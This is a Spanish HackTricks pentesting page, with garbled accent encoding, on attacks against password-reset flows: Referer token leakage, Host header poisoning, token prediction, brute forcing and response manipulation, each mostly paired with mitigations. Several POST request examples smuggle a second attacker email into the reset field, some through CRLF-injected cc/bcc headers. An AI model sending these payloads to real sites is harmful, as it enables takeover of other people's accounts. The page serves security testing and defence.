Restablecimiento/Olvido de Contrase帽a Bypass

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Filtraci贸n del Token de Restablecimiento de Contrase帽a a Trav茅s del Referente

  • El encabezado HTTP referer puede filtrar el token de restablecimiento de contrase帽a si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros despu茅s de solicitar un restablecimiento de contrase帽a.
  • Impacto: Posible toma de control de cuenta a trav茅s de ataques de Cross-Site Request Forgery (CSRF).
  • Explotaci贸n: Para verificar si un token de restablecimiento de contrase帽a se est谩 filtrando en el encabezado referer, solicita un restablecimiento de contrase帽a a tu direcci贸n de correo electr贸nico y haz clic en el enlace de restablecimiento proporcionado. No cambies tu contrase帽a de inmediato. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las solicitudes usando Burp Suite. Inspecciona las solicitudes para ver si el encabezado referer contiene el token de restablecimiento de contrase帽a, ya que esto podr铆a exponer informaci贸n sensible a terceros.
  • Referencias:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Art铆culo sobre la Filtraci贸n del Token de Restablecimiento de Contrase帽a

Envenenamiento del Restablecimiento de Contrase帽a

  • Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contrase帽a para apuntar el enlace de restablecimiento a un sitio malicioso.
  • Impacto: Conduce a una posible toma de control de cuenta al filtrar tokens de restablecimiento a los atacantes.
  • Pasos de Mitigaci贸n:
  • Valida el encabezado Host contra una lista blanca de dominios permitidos.
  • Utiliza m茅todos seguros del lado del servidor para generar URLs absolutas.
  • Parche: Usa $_SERVER['SERVER_NAME'] para construir URLs de restablecimiento de contrase帽a en lugar de $_SERVER['HTTP_HOST'].
  • Referencias:
  • Art铆culo de Acunetix sobre el Envenenamiento del Restablecimiento de Contrase帽a

Restablecimiento de Contrase帽a Manipulando el Par谩metro de Correo Electr贸nico

Los atacantes pueden manipular la solicitud de restablecimiento de contrase帽a a帽adiendo par谩metros de correo electr贸nico adicionales para desviar el enlace de restablecimiento.

  • Agrega el correo electr贸nico del atacante como segundo par谩metro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Agregar el correo electr贸nico del atacante como segundo par谩metro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agrega el correo electr贸nico del atacante como segundo par谩metro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Agregar el correo electr贸nico del atacante como segundo par谩metro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar el correo electr贸nico del atacante como segundo par谩metro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Agrega el correo electr贸nico del atacante como segundo par谩metro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Agregar el correo electr贸nico del atacante como segundo par谩metro en el array json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Cambio de Correo Electr贸nico y Contrase帽a de Cualquier Usuario a Trav茅s de Par谩metros de API

  • Los atacantes pueden modificar los par谩metros de correo electr贸nico y contrase帽a en las solicitudes de API para cambiar las credenciales de la cuenta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Sin Limitaci贸n de Tasa: Bombardeo de Correos Electr贸nicos

  • La falta de limitaci贸n de tasa en las solicitudes de restablecimiento de contrase帽a puede llevar a un bombardeo de correos electr贸nicos, abrumando al usuario con correos de restablecimiento.
  • Pasos de Mitigaci贸n:
  • Implementar limitaci贸n de tasa basada en la direcci贸n IP o cuenta de usuario.
  • Usar desaf铆os CAPTCHA para prevenir abusos automatizados.
  • Referencias:
  • Informe de HackerOne 280534

Descubrir C贸mo se Genera el Token de Restablecimiento de Contrase帽a

  • Entender el patr贸n o m茅todo detr谩s de la generaci贸n de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
  • Basado en Timestamp
  • Basado en el UserID
  • Basado en el correo electr贸nico del Usuario
  • Basado en Nombre y Apellido
  • Basado en Fecha de Nacimiento
  • Basado en Criptograf铆a
  • Pasos de Mitigaci贸n:
  • Usar m茅todos criptogr谩ficos fuertes para la generaci贸n de tokens.
  • Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
  • Herramientas: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.

UUID Adivinable

  • Si los UUIDs (versi贸n 1) son adivinables o predecibles, los atacantes pueden forzarlos para generar tokens de restablecimiento v谩lidos. Verifique:

UUID Insecurities

  • Pasos de Mitigaci贸n:
  • Usar GUID versi贸n 4 para aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
  • Herramientas: Usar guidtool para analizar y generar GUIDs.

Manipulaci贸n de Respuesta: Reemplazar Respuesta Mala por Buena

  • Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
  • Pasos de Mitigaci贸n:
  • Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
  • Usar canales de comunicaci贸n seguros como HTTPS para prevenir ataques de intermediarios.
  • Referencia:
  • Error Cr铆tico en Evento de Recompensa por Errores en Vivo

Uso de Token Expirado

  • Probar si los tokens expirados a煤n pueden ser utilizados para el restablecimiento de contrase帽a.
  • Pasos de Mitigaci贸n:
  • Implementar pol铆ticas estrictas de expiraci贸n de tokens y validar la expiraci贸n del token del lado del servidor.

Fuerza Bruta del Token de Restablecimiento de Contrase帽a

  • Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir l铆mites de tasa basados en IP.
  • Pasos de Mitigaci贸n:
  • Implementar limitaci贸n de tasa robusta y mecanismos de bloqueo de cuentas.
  • Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.

Intentar Usar Su Token

  • Probar si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electr贸nico de la v铆ctima.
  • Pasos de Mitigaci贸n:
  • Asegurar que los tokens est茅n vinculados a la sesi贸n del usuario u otros atributos espec铆ficos del usuario.

Invalidaci贸n de Sesi贸n en Cierre de Sesi贸n/Restablecimiento de Contrase帽a

  • Asegurar que las sesiones se invaliden cuando un usuario cierra sesi贸n o restablece su contrase帽a.
  • Pasos de Mitigaci贸n:
  • Implementar una gesti贸n adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesi贸n o restablecer la contrase帽a.

Invalidaci贸n de Sesi贸n en Cierre de Sesi贸n/Restablecimiento de Contrase帽a

  • Los tokens de restablecimiento deben tener un tiempo de expiraci贸n despu茅s del cual se vuelven inv谩lidos.
  • Pasos de Mitigaci贸n:
  • Establecer un tiempo de expiraci贸n razonable para los tokens de restablecimiento y hacer cumplir estrictamente esto del lado del servidor.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks